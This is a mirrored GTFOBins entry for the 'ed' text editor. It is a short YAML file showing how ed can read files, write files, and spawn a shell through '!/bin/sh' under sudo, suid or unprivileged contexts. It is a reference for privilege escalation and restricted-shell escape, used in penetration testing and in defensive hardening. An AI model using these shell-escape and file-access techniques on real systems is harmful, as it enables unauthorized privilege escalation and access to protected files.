1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/ed
2026-01-05 22:26:55 +01:00

37 lines
475 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
ed /path/to/input-file
,p
q
contexts:
sudo:
suid:
unprivileged:
file-write:
- binary: false
code: |-
ed /path/to/output-file
a
DATA
.
w
q
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
ed
!/bin/sh
q
contexts:
sudo:
suid:
shell: true
unprivileged:
...